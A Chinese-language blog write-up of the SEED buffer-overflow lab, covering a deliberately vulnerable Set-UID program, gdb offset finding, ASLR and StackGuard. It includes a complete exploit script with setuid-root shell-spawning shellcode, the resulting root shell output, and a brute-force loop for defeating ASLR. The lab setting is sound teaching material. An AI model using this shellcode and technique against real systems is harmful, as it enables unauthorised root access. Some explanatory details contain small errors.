Buffer-Overflow Vulnerability Lab

预备环境

  1. Ubuntu16.04
  2. 程序stack.c、exploit.py

预备知识

  1. strcpy()这个函数用于复制字符串,遇到字符’\0’时将停止复制,’\0’字符ASCII值为0.
  2. 缓冲区溢出攻击的目标在于覆盖函数返回地址,使其指向注入的恶意指令的地址。

开始实验

  1. 关闭地址空间随机化
  • 地址空间随机化(ASLR)是针对缓冲区溢出攻击的防御措施之一,ASLR对程序内存中的一些关键数据区域进行随机化,包括栈的位置、堆和库的位置等,目的让攻击者难以猜测所注入的恶意代码在内存中的具体位置。
    [07/06/20]seed@VM:~/code$ sudo sysctl -w kernel.randomize_va_space=0
    kernel.randomize_va_space = 0
    
  1. 准备存在漏洞的程序stack.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #ifndef BUF_SIZE
    #define BUF_SIZE 24
    #endif
    
    int bof(char *str)
    {
        char buffer[BUF_SIZE];
    
        /* The following statement has a buffer overflow problem */
        strcpy(buffer, str);       
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
         /* Change the size of the dummy array to randomize the parameters
           for this lab. Need to use the array at least once */
        char dummy[BUF_SIZE]; 
        memset(dummy, 0, BUF_SIZE);
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
        printf("Returned Properly\n");
        return 1;
    }
    
  • 上面程序从badfile中读取517字节的数据,然后把它们复制到长度为24字节的缓冲区buffer中。
  • 可以简单的将恶意代码放入badfile中,当程序读取文件时,恶意代码被载入str数组,当程序将str中的内容复制到目标缓冲区时,恶意代码就被存入栈中,恶意代码被放到badfile文件的末尾。
  • 下一步,需要迫使程序跳转到内存的恶意代码,为了达到这个目的,可以利用代码中的缓冲区溢出问题修改返回地址,如果知道恶意代码存放的位置,就能够简单地使用这个地址来覆盖返回地址所在的内存区域,当foo()函数返回时,程序就会跳转到恶意代码存放的地址。
  1. 实验攻击的目标是一个拥有root权限的Set-UId程序,,假如成功对该Set-UID程序发起缓冲区溢出攻击,注入的恶意代码一旦被执行,则将以root权限运行:
[07/06/20]seed@VM:~/code$ gcc -o stack -z execstack -fno-stack-protector stack.c 
[07/06/20]seed@VM:~/code$ sudo chown root stack
[07/06/20]seed@VM:~/code$ sudo chmod 4755 stack
  • -z execstack:在默认情况下,一个程序的栈是不可执行的,因此在栈上注入恶意代码也是无法执行的,该保护机制称作不可执行栈,但是-z execstack选项设置栈为可执行的。
  • -fno-stack-protector:关闭了一个称为StackGuard的保护机制,它能够抵御基于栈的缓冲区溢出攻击,它的主要思想是在代码中添加一些特殊数据和检查机制,从而可以检测到缓冲区溢出的发生。
  1. 通过调试程序找到地址
  • 直接调试这个程序,并打印出foo()函数被调用时帧指针的值。当以普通用户身份调试一个Set-UID特权程序时,程序并不会以特殊权限运行,因此在调试器中直接改变程序行为并不能获得任何权限。
  • 重新编译程序,加入调试信息(-g选项)
    [07/06/20]seed@VM:~/code$ touch badfile
    [07/06/20]seed@VM:~/code$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c 
    [07/06/20]seed@VM:~/code$ gdb stack_dbg 
    GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
    ...
    gdb-peda$ b bof
    Breakpoint 1 at 0x80484f1: file stack.c, line 13.
    gdb-peda$ run
    Starting program: /home/seed/code/stack_dbg 
    [Thread debugging using libthread_db enabled]
    ....
    Breakpoint 1, bof (str=0xbffff1a7 "\bB\003") at stack.c:13
    warning: Source file is more recent than executable.
    13	    strcpy(buffer, str);       
    gdb-peda$ p $ebp
    $1 = (void *) 0xbffff168
    gdb-peda$ p &buffer
    $2 = (char (*)[24]) 0xbffff148
    gdb-peda$ p/d 0xbffff168 - 0xbffff148
    $3 = 32
    gdb-peda$ quit
    
  • 在gdb中,通过b foo命令在bof()函数处设置一个断点,接着用run命令来运行程序,程序将在bof()函数内停下来,这时可以使用gdb的p指令(p指令默认用六十进制打印,p/d表示用十进制打印)来打印帧指针ebp的值以及buffer地址。
  • 从上面的结果可以看出,帧指针的值是0xbffff168,因此返回地址保存在0xbffff168+4,并且第一个NOP指令在0xbffff168+8,因此可以将0xbffff168+8作为恶意代码的入口地址,把它写入返回地址字段中。
  • 由于输入将被复制到buffer中,为了让输入的返回地址字段准确地覆盖栈中的返回地址区域,需要知道栈中buffer和返回地址之间的距离,这个距离就是返回地址字段在输入数据中的相对位置。
  • 通过计算,可以看到从buffer起始地址到ebp之间的距离为32,由于返回地址区域在ebp指向位置上面的4字节,由此可以知道返回地址区域到buffer之间的距离为36.
  1. 构造输入文件
    在这里插入图片描述
  • exploit.py
    #!/usr/bin/python3
    import sys
    
    shellcode=(
       "\x31\xc0"    #xorl %eax,%eax
       "\x31\xdb"    #xorl %ebx,%ebx
       "\xb0\xd5"    #movb $0xd5,%al
       "\xcd\x80"    #int  $0x80,前四步为setuid(0)
       "\x31\xc0"    # xorl    %eax,%eax
       "\x50"        # pushl   %eax
       "\x68""//sh"  # pushl   $0x68732f2f
       "\x68""/bin"  # pushl   $0x6e69622f
       "\x89\xe3"    # movl    %esp,%ebx
       "\x50"        # pushl   %eax
       "\x53"        # pushl   %ebx
       "\x89\xe1"    # movl    %esp,%ecx
       "\x99"        # cdq
       "\xb0\x0b"    # movb    $0x0b,%al
       "\xcd\x80"    # int     $0x80
    ).encode('latin-1')        
    #第一部分
    content = bytearray(0x90 for i in range(517)) 
    
    start = 517 - len(shellcode)
    #第二部分
    content[start:] = shellcode
    
    #第三部分
    ret    = 0xbffff168 + 100  # replace 0xAABBCCDD with the correct value
    #第四部分
    offset = 36            # replace 0 with the correct value
    content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
    ##################################################################
    # Write the content to a file
    with open('badfile', 'wb') as f:
      f.write(content)
    
  • shellcode中存放就是恶意代码,在第一部分创建了一个长度为517个字节的byte数组,并用0x90(NOP)填充整个数组,最后把恶意代码放到数组的尾部(第二部分所示)。
  • 这里使用0xbffff168 + 100作为返回值,需要把它填入到content数组的返回值区域,由之前的gdb调试结果可知,返回值区域从第36个字节开始,到第40个字节结束,不包括第40个字节,所以设置offset = 36, 用[offset:offset+4]来存储返回地址。
  • 在x86等体系结构的计算机使用的是小端字节顺序,一个多字节组成的数据在内存中存放时,最低位字节放到低地址处,因此把一个4字节的地址写入内存时,用byteorder='title’来指明使用小端字节顺序。
  • 地址没有使用0xbffff168+8是因为,在gdb中和程序实际运行中有可能不同,gdb可能在执行时往栈压入了一些额外的数据,可能比直接运行程序时栈帧更深一些。
  • 0xbffff168 + n不应该使用任何字节包含0,因为’\0’的ASCII码值为0x00,strcpy函数碰到00会停止复制内容到缓冲区,因此会造成缓冲区溢出攻击的失败。
  • 运行程序
    [07/06/20]seed@VM:~/code$ ./exploit.py 
    [07/06/20]seed@VM:~/code$ ./stack
    # id                                                                 
    uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
    
  • 可以看到成功获得了root的shell权限。

防御措施


地址空间随机化


  1. 地址空间随机化(ASLR)是针对缓冲区溢出攻击的防御措施之一,ASLR对程序内存中的一些关键数据区域进行随机化,包括栈的位置、堆和库的位置等,目的让攻击者难以猜测所注入的恶意代码在内存中的具体位置。
  2. 用户可以通过设置一个内核变量kernel.randomize_va_space告知加载器它们想要使用的地址随机化类型。
    1. kernel.randomize_va_space = 0,不启用地址随机化。
    2. kernel.randomize_va_space = 1,启用栈地址随机化,堆不启用。
    3. kernel.randomize_va_space = 2,栈和堆都启用地址随机化。
  3. 衡量地址空间随机程度的一种方式是熵,如果一个内存空间区域拥有n比特熵,这表明系统上该区域的基地址由2n等可能的位置。
  4. 在32为Linux系统中,栈只有19bit的熵,意味着栈只有219中可能性,这个数字并不大,他能被轻易暴力破解。
  5. 编写一下脚本来实现缓冲区溢出攻击:
    #!/bin/bash
    
    SECONDS=0
    value=0
    
    while [ 1 ]
     do
     value=$(( $value + 1))
     duration=$SECONDS
     min=$(($duration / 60))
     sec=$(($duration % 60))
     echo "$min minutes and $sec seconds elapsed"
     echo "The program has been running $value times so far"
     ./stack
    done
    
  6. 在之前的攻击中,已经把恶意代码写入到badfile中,由于地址随机化,该文件中放入的地址可能时错的,随着脚本不断的运行,程序不断的执行,总有一次程序加载的基地址能够正好命中badfile中的地址。

StackGuard


  1. 可以在缓冲区到返回地址之间放置一个不可预测的值,在函数返回之前,检查这个值是否被修改,如果值被修改,则返回地址很大可能被修改了,因此,检测返回地址是否被覆盖的问题变成了哨兵值是否被修改的问题。
  2. 在gcc中编译时默认开启,可以使用-fno-stack-protector关闭该选项。
  3. 对于StackGuard方案中,存放canary(哨兵)中的秘密数需要满足两个条件:
    1. 随机的:可以通过使用/dev/urandom初始化canary来确保。
    2. 它的备份不能保存在栈中:在Linux中,GS寄存器指向的内存段是一个特殊的区域,不同于栈、堆、BSS段、数据段和代码段,GS与栈物理隔离,因此堆栈缓冲区溢出不会影响GS段中的任何数据。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章